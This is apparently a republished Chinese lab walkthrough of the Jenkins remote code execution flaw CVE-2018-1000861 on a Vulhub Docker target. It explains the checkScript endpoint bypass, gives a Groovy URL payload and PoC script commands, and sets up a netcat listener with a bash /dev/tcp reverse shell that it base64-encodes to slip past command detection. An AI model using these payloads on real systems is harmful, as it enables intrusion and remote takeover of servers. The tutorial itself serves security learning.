当前位置: 首页 > news >正文

Jenkins远程命令执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2018-1000861 3种方法)

目录

一、Jenkins远程命令执行漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、脚本法法启动攻击

3、验证攻击效果

4、Hackbar法启动攻击

5、验证攻击效果

四、反弹shell实战

1、攻击机监听

2、目标机建立连接

① 原始命令

② base64编码

③ 攻击目标机

3、反弹shell成功


本文通过vulhub靶场的Jenkins远程命令执行漏洞关卡讲解CVE-2018-1000861漏洞原理、渗透环境搭建、并通过三种方法进行渗透的全流程(包括命令执行、反弹shell)。

一、Jenkins远程命令执行漏洞

1、漏洞简介

CVE-2018-1000861 是 Jenkins 核心和插件中存在的一个高危的远程代码执行(RCE)漏洞。该漏洞源于 Jenkins 的 “安全审计”(Security Realm) 和 “用户管理” 功能中的一个缺陷。

特性描述
漏洞编号CVE-2018-1000861
漏洞类型权限检查绕过 → 远程代码执行 (RCE)
危险等级高危 (Critical)
触发条件未授权或低权限访问(依赖配置)
影响组件Jenkins 核心、Script Security 插件
利用方式构造特殊 HTTP POST 请求执行 Groovy 代码
最终结果以 jenkins 用户身份执行系统命令
修复方案升级 Jenkins 核心和插件

2、漏洞原理

Jenkins 提供 /securityRealm/user/[username]/descriptorByName/[descriptor]/checkField 的 HTTP API 端点。这个端点原本的设计目的是让系统在用户注册或修改资料时,异步验证用户输入的用户名、邮箱等字段是否合法(例如,邮箱格式是否正确)。

  • 预期行为: 这个功能应该只允许具有相应权限(如“用户创建”权限)的用户访问。

  • 漏洞所在: 但该端点的权限检查机制存在缺陷。攻击者可以通过在 [descriptor] 部分插入特定的路径(如 org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript),从而将请求重定向到处理 Groovy 脚本的解析器。

  • 利用过程

    • 攻击者构造一个特殊的 POST 请求,访问上述有缺陷的 API 端点。

    • 在请求的 value 参数中,嵌入恶意的 Groovy 代码(例如:"print println('whoami'.execute().text)".execute())。

    • 由于权限检查被绕过,Jenkins 服务器会直接执行 value 参数中的 Groovy 代码。

    • Groovy 代码可以调用 Java 的 "command".execute() 方法,从而在底层操作系统上执行任意命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

# 进入CVE-2018-1000861 Jenkins漏洞
cd jenkins
cd CVE-2018-1000861

4、启动漏洞环境

在CVE-2018-1000861目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含jenkins:2.138(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器aa98ee4783f7 属于 Vulhub 搭建的CVE-2018-1000861漏洞复现环境。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
aa98ee4783f7   vulhub/jenkins:2.138   "/sbin/tini -- /usr/…"   9 minutes ago   Up 9 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp   cve-2018-1000861_jenkins_1

  • 容器 ID:aa98ee4783f7

  • vulhub/jenkins:2.138: 这是存在漏洞的 Jenkins 2.138.3 版本。

  • Up 9 minutes: 它已经正常运行了 9 分钟。

  • 端口映射

    • :8080: 你可以用浏览器打开 http://localhost:8080 看到 Jenkins 网页。

    • :50000: 这是另一个服务端口,但本次攻击不用这个端口

  • 容器名 cve-2018-1000861_jenkins_1: 你可以用这个名字来操作它,比如进入容器看看攻击是否成功:docker exec -it cve-2018-1000861_jenkins_1 ls /tmp,检查是否创建了 success 文件。

三、渗透实战

1、访问环境

Docker启动完成后,访问 http://[靶机IP地址]:8080 来查看 Jenkins 界面。以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080,打开后可以看到 Jenkins 的解锁界面,说明环境启动成功。

2、脚本法法启动攻击

我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

vulhub-master/jenkins/CVE-2018-1000861中包含攻击脚本,在攻击机kali中执行PoC攻击命令。

python2 poc.py http://192.168.59.128:8080  "touch /tmp/mooyuan888"

如下所示,出现如图所示“Exploit success!”提示信息,表明poc发送成功。

3、验证攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

4、Hackbar法启动攻击

浏览器利用hackbar发送PoC,为与脚本法做区别,本次计划使用touch /tmp/mooyuan666。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan666的文件,这是漏洞利用成功的标志具体内容如下所示,PoC内容如下所示。

http://192.168.59.128:8080//securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/mooyuan666".execute()}
}

点击“execute”按钮,向目标服务器发送poc,如下图所示。

5、验证攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan666文件,命令执行成功,说明漏洞复现成功。

四、反弹shell实战

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE= | base64 -d | bash
  • echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。

  • base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

  • bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。

③ 攻击目标机

 终端命令行输入如下命令,向目标服务器发送反弹poc。

python2 poc.py http://192.168.59.128:8080 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

如下所示,出现如图所示“Exploit success!”提示信息,表明poc发送成功。

3、反弹shell成功

此时查看kali攻击机的监听,已经成功连接,输入whoami返回正确结果,渗透成功​​。

http://www.dtcms.com/a/519924.html

相关文章:

  • SQLite 数据类型
  • 一般建设网站大概需要多少钱一流的聊城做网站费用
  • 福永网站设计二级建造师最好的网站
  • 2025第二届中国物流枢纽发展大会影响力如何,给行业带来哪些新方向?
  • 高端制作网站公司seo优化在哪里学
  • 预警!流感季可能将提前!盈电智控物联网技术如何构筑智慧防疫新防线
  • Oracle OCP考试报名常见问题详解
  • 2025企业级智能体平台架构拆解: 如何安全合规下构筑强大的护城河
  • Linux小课堂: SSH 免密登录原理与实现之基于公钥认证的安全连接机制
  • 网站开发公司广告文案网站在哪里
  • 那些免费网站可以做国外贸易网站后期维护工作包括哪些
  • SD卡格式化及挂载
  • 踩坑记录:Redis 连接报错 “Failed to get reply: connection reset“ 之端口冲突问题
  • 《3D手游攻坚日志:从副本扩缩容到数据同步的实践》
  • 软考软件设计师 vs. 考研408:定位、范围与备考策略全解析
  • GEO 指标体系构建:品牌提及度的监测技巧
  • JavaWeb后端-Web基础-分层解耦
  • 基于Chrome140的FB账号自动化(关键词浏览)——运行脚本(三)
  • 如何在百度做自己公司的网站c 网站建设设计报告
  • 00910网络经济与企业管理真题题库
  • Transformer:从自注意力到大模型时代的核心基石
  • 数据结构(7)
  • Python数据分析实战:利用CDC 28年流感数据监测,构建疫情预警系统【数据集可下载】
  • LangChain最详细教程之Model I/O(一)
  • conda 管理 python 版本和虚拟环境
  • conda创建在指定目录创建项目
  • Qt 编译报错:-1: error: fatal error: Killed signal terminated program cc1plus
  • wpf之颜色选择控件的使用
  • iOS 混淆实战清单:多工具组合完成 IPA 混淆、加固与交付治理(IPA加固 iOS混淆 无源码加固 Ipa Guard Swift Shield)
  • 「IOS苹果游戏」600个